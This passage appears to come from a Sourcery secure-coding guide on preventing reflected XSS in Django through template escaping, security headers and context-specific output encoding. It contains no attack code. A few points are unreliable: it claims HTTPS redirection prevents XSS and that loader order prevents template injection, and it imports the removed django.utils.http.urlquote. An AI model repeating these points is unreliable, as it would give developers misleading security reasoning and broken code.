user_data|escapejs }}';</script> escaping for JavaScript strings. Use urlencode filter for URL parameters: <a href="/search?q={{ query|urlencode }}">Search</a> properly encoding query parameters. Enable SECURE_SSL_REDIRECT = True forcing HTTPS preventing XSS payload injection via HTTP. Implement security headers via settings: SECURE_HSTS_SECONDS = 31536000; SECURE_HSTS_INCLUDE_SUBDOMAINS = True; SECURE_HSTS_PRELOAD = True enforcing HTTPS with HSTS. Use Django's template loaders securely: 'loaders': ['django.template.loaders.filesystem.Loader', 'django.template.loaders.app_directories.Loader'] in correct order preventing template injection. Create custom template tags with auto-escaping: @register.simple_tag; def safe_user_display(user): return format_html('<span class="user">{}</span>', user.get_full_name()) automatically escaping in custom tags.

6

Encode Output Based on the Response Context (HTML, JavaScript, CSS, URL)

Apply context-specific encoding appropriate to where user data appears in the response—HTML entity encoding for HTML context, JavaScript escaping for script context, URL encoding for URLs, and CSS escaping for stylesheets—preventing encoding bypasses that occur when one encoding type is insufficient for the actual context. For HTML body context, use HTML entity encoding: from django.utils.html import escape; html_content = f'<div>{escape(user_text)}</div>' encoding <, >, &, ", ' to HTML entities. For HTML attribute context, use attribute-safe encoding: attr_value = escape(user_input).replace('\n', '').replace('\r', ''); html = f'<div data-user="{attr_value}">Content</div>' preventing newline-based attribute breaking. For JavaScript string context, use JavaScript escaping: from django.utils.html import escapejs; js_safe = escapejs(user_input); script = f'<script>var msg = "{js_safe}";</script>' escaping quotes, backslashes, newlines, and control characters. For JavaScript data context, use JSON encoding: import json; js_data = json.dumps(user_data); script = f'<script>var config = {js_data};</script>' properly encoding for JavaScript objects but beware of '</script>' in strings: js_data = json.dumps(user_data).replace('</', '<\\/') escaping script end tags. For URL parameter context, use URL encoding: from urllib.parse import quote, urlencode; safe_param = quote(user_input, safe=''); url = f'/search?q={safe_param}' encoding special URL characters. For URL path context, use path encoding: from django.utils.http import urlquote; safe_path = urlquote(user_slug); url = f'/article/{safe_path}/' encoding path segments. For building query strings, use urlencode: params = {'search': user_query, 'filter': user_filter}; query_string = urlencode(params); url = f'/results?{query_string}' encoding parameter names and values. For CSS context, use CSS escaping: css_safe = re.sub(r'[^a-zA-Z0-9-_]', '', user_class); style = f'<style>.{css_safe} {{ color: red; }}</style>' limiting to CSS-safe characters. For data: URLs, avoid user input entirely or use strict validation: if not re.match(r'^[a-zA-Z0-9+/=]+$', base64_data): raise ValidationError('Invalid data URL') restricting data URLs to specific formats. For JSON responses, ensure proper Content-Type: response = JsonResponse({'message': user_message}); response['Content-Type'] = 'application/json' preventing browsers interpreting as HTML. For XML context, use XML escaping: import xml.etree.ElementTree as ET; element = ET.Element('message'); element.text = user_message; xml_string = ET.tostring(element, encoding='unicode') properly escaping XML special characters. For SQL context (when necessary), use parameterized queries: cursor.execute('SELECT * FROM users WHERE name = %s', [user_name]) never string formatting. For LDAP context, escape LDAP special characters: def ldap_escape(s): return s.replace('\\', '\\5c').replace('*', '\\2a').replace('(', '\\28').replace(')', '\\29').replace('\x00', '\\00') preventing LDAP injection. For Markdown context allowing limited formatting, use sanitization: import markdown; from bleach import clean; html = clean(markdown.markdown(user_text), tags=['p', 'strong', 'em'], strip=True) converting Markdown safely. For email headers, encode properly: from email.utils import formataddr; from_header = formataddr((user_name, email_address)) preventing email header injection. Create context-aware encoding functions: def encode_for_context(value, context): if context == 'html': return escape(value); elif context == 'js': return escapejs(value); elif context == 'url': return quote(value); elif context == 'attr': return escape(value).replace('\n', ''); else: raise ValueError('Unknown context') providing consistent encoding API.

Detect This Vulnerability in Your Code

Sourcery automatically identifies django reflected data in httpresponse and many other security issues in your codebase.